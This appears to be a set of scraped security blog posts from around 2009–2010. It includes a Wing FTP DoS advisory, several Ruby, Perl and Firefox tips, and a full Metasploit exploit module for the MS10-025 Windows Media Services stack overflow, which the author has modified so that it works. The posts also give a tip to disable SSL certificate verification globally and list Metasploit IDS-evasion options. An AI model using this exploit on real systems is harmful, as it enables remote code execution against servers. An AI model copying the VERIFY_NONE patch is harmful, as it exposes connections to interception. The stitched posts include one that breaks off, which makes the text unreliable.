Wing FTP Server PORT Command DoS Vulnerability

Discovery Date: Nov 14, 2009
Risk: Important
Affected Software:

* Wing FTP Server 3.1.2

Description:

There is a Denial of Service (DoS) vulnerability that exists in Wing FTP Server 3.1.2. The said vulnerability can be exploited by using an invalid parameter for PORT command. When exploited successfully, the vulnerability could cause FTP server using the said software to crash.

Wing FTP Server 3.1.2 on a Windows environment is affected. Other versions may also be affected.

Patch Information:

More information on the patch can be found in the following page:

* Wing FTP Server History

Discovered by: Sumit Kumar Soni , Trend Micro
Email: ssummit @ gmail.com
Read more about this threat incident in the Malware Blog entry "Trend Micro Discovers Wing FTP Server PORT Command DoS Bug."

Solution to avoid SSL Cert Verification in Ruby Soap4r

Just add

@verify_mode = SSL::VERIFY_NONE

in C:\ruby\lib\ruby\gems\1.8\gems\httpclient-2.1.5.2\lib\httpclient\ssl_config.rb

if you want to avoid following error.

at depth 0 - 18: self signed certificate

c:/ruby/lib/ruby/gems/1.8/gems/httpclient-2.1.5.2/lib/httpclient/session.rb:247:in `connect': certificate verify failed (OpenSSL::SSL::SSLError)

from c:/ruby/lib/ruby/gems/1.8/gems/httpclient-2.1.5.2/lib/httpclient/session.rb:247:in `ssl_connect'

from c:/ruby/lib/ruby/gems/1.8/gems/httpclient-2.1.5.2/lib/httpclient/session.rb:639:in `connect'

from c:/ruby/lib/ruby/gems/1.8/gems/httpclient-2.1.5.2/lib/httpclient/timeout.rb:128:in `timeout'

from c:/ruby/lib/ruby/gems/1.8/gems/httpclient-2.1.5.2/lib/httpclient/session.rb:631:in `connect'

from c:/ruby/lib/ruby/gems/1.8/gems/httpclient-2.1.5.2/lib/httpclient/session.rb:522:in `query'

from c:/ruby/lib/ruby/gems/1.8/gems/httpclient-2.1.5.2/lib/httpclient/session.rb:147:in `query'

from c:/ruby/lib/ruby/gems/1.8/gems/httpclient-2.1.5.2/lib/httpclient.rb:953:in `do_get_block'

from c:/ruby/lib/ruby/gems/1.8/gems/httpclient-2.1.5.2/lib/httpclient.rb:765:in `do_request'

... 7 levels...

from c:/ruby/lib/ruby/gems/1.8/gems/soap4r-1.5.8/lib/soap/rpc/proxy.rb:143:in `call'

from c:/ruby/lib/ruby/gems/1.8/gems/soap4r-1.5.8/lib/soap/rpc/driver.rb:181:in `call'

Rename Multiple Files

Usage: rename perlexpr direpath


#!/usr/bin/perl -w
if($#ARGV !=1)
{
print "Usage: rename perlexpr direpath\n";
print "ex. rename s/exe/html c:/test";
exit(0);
}
$regexp=shift ;
$dir=shift;
opendir(DIR, "$dir");
@files = readdir(DIR);
closedir(DIR);
foreach $_ (@files) {
$file=$_;
print "file-->$file\n";
eval $regexp;
die $@ if $@;
$path="$dir/$file";
print "$path\n";
rename($path,"$dir/$_" ) unless $file eq $_;
}

Whats wrong with MSF ms10_025_wmss_connect_funnel Sploit

Looks Like metasploit team added this exploit in the frame work in hurry . They are sending Current info & Transport info message in single packet that will never exploit the vulnerability ( Correct me).

here is the modified Code that should work .

##
# $Id: ms10_025_wmss_connect_funnel.rb 9101 2010-04-17 11:22:37Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Media Services ConnectFunnel Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Windows Media
Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially
crafted FunnelConnect request, an attacker can execute arbitrary code
under the "NetShowServices" user account. Windows Media Services 4.1 ships
with Windows 2000 Server, but is not installed by default.

NOTE: This service does NOT restart automatically. Successful, as well as
unsuccessful exploitation attempts will kill the service which prevents
additional attempts.
},
'Author' => 'jduck',
'License' => MSF_LICENSE,
'Version' => '$Revision: 9101 $',
'References' =>
[
[ 'CVE', '2010-0478' ],
[ 'OSVDB', '63726' ],
[ 'MSB', 'MS10-025' ],
[ 'URL', 'https://www.lexsi.com/abonnes/labs/adviso-cve-2010-0478.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro SP4 English',
{
# SEH handler offset is 840
# Stack return is at 652
'Offset' => 840,
'Ret' => 0x75022ac4 # p/p/r in ws2help.dll
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Apr 13 2010',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(1755)
], self.class)
end

def exploit
@pkts = 0
cmd_buf = ''

# LinkViewerToMacConnect
subscriber = "NSPlayer/4.1.0.3928; {68c0a090-8797-11d2-a2b3-00a0c9b60551}"
#subscriber = "NSPlayer/7.0.0.1956; {}; Host: The.Host.Net"
#subscriber = "Spooooon!"
subscriber << "\x00"
subscriber = Rex::Text.to_unicode(subscriber)
cmd_buf << make_command(0x30001, subscriber)

# LinkViewerToMacConnectFunnel
#name = Rex::Text.pattern_create(512)
name = ''
name << "\\\\"
name << rand_text((target['Offset'] + 4 + 5) / 2)
name << "\\"
name << "\x00"

# Convert it to Unicode..
name = Rex::Text.to_unicode(name)

# Insert the return address..
name[4,payload.encoded.length] = payload.encoded

# Build the SEH frame that leads to the payload...
seh = generate_seh_record(target.ret)
asm = "add edi, 0x04\njmp edi"
seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
name[target['Offset'],seh.length] = seh

##sumit start
pkt = make_tcpmsghdr(cmd_buf)
connect
sock.put(pkt)
##sumit done
cmd_buf = ''

# Add it to the command buffer..
cmd_buf << make_command(0x30002, name)

# Build the TcpMessageHeader ..
pkt = make_tcpmsghdr(cmd_buf)

print_status("Sending crafy commands (#{pkt.length} bytes) ...")
# Handle the transacation..
#connect
sock.put(pkt)

handler
disconnect
end


#
# Create a TcpMessageHeader from the supplied data
#
def make_tcpmsghdr(data)
len = data.length
# The server doesn't like packets that are bigger...
raise RuntimeError, 'Length too big' if (len > 0x1000)
len /= 8

# Pack the pieces in ...
pkt = [
1,0,0,0, # rep, ver, verMinor, pad
0xb00bface, # session id (nice)
data.length + 16, # msg len
0x20534d4d, # seal ("MMS ")
len + 2, # chunkCount
@pkts, 0, # seq, MBZ
rand(0xffffffff),rand(0xffffffff) # timeSent -- w/e
].pack('CCCCVVVVvvVV')

# Add the data
pkt << data

# Pad it to 8 bytes...
left = data.length % 8
pkt << ("\x00" * (8 - left)) if (left > 0)

pkt
end


#
# Create a command packet
#
def make_command(msg_id, extra)
# Two opcodes, get handled differently..
case msg_id
when 0x30001
data = [0xf0f0f0f0,0x0004000b,0x0003001c].pack('VVV')

when 0x30002
data = [0xf0f0f0f1,0xffffffff,0,0x989680,0x00000002].pack('VVVVV')

end

# Put some data on...
data << extra

# Pad it to 8 bytes...
left = data.length % 8
data << ("\x00" * (8 - left)) if (left > 0)

# Combine the pieces..
pkt = [
(data.length / 8) + 1, # chunkLen
msg_id # msg ID
].pack('VV')
pkt << data

pkt
end

end

What is not Correct with MSF

Looks Like there spell check miss this typo ( check TCP::max_send_size Description)

msf exploit(ms08_067_netapi) > show evasion

Module evasion options:

Name : DCERPC::fake_bind_multi
Current Setting: true
Description : Use multi-context bind calls

Name : DCERPC::fake_bind_multi_append
Current Setting: 0
Description : Set the number of UUIDs to append the target

Name : DCERPC::fake_bind_multi_prepend
Current Setting: 0
Description : Set the number of UUIDs to prepend before the target

Name : DCERPC::max_frag_size
Current Setting: 4096
Description : Set the DCERPC packet fragmentation size

Name : DCERPC::smb_pipeio
Current Setting: rw
Description : Use a different delivery method for accessing named pipes
(accepted: rw, trans)

Name : SMB::obscure_trans_pipe_level
Current Setting: 0
Description : Obscure PIPE string in TransNamedPipe (level 0-3)

Name : SMB::pad_data_level
Current Setting: 0
Description : Place extra padding between headers and data (level 0-3)

Name : SMB::pad_file_level
Current Setting: 0
Description : Obscure path names used in open/create (level 0-3)

Name : SMB::pipe_evasion
Current Setting: False
Description : Enable segmented read/writes for SMB Pipes

Name : SMB::pipe_read_max_size
Current Setting: 1024
Description : Maximum buffer size for pipe reads

Name : SMB::pipe_read_min_size
Current Setting: 1
Description : Minimum buffer size for pipe reads

Name : SMB::pipe_write_max_size
Current Setting: 1024
Description : Maximum buffer size for pipe writes

Name : SMB::pipe_write_min_size
Current Setting: 1
Description : Minimum buffer size for pipe writes

Name : TCP::max_send_size
Current Setting: 0
Description : Maxiumum tcp segment size. (0 = disable)

Name : TCP::send_delay
Current Setting: 0
Description : Delays inserted before every send. (0 = disable)

twitter got hacked in the morning

Visiting the site shows this message:

How to edit the User Agent string

How to edit the User Agent string

To change the User Agent string, just enter about:config as an address in the address bar of FireFox, the location where you normally enter a URL (link). I recommend to preserve the original value, which you can get when you enter just about: in the address bar.

append your value for general.useragent.extra.firefox or general.useragent.override.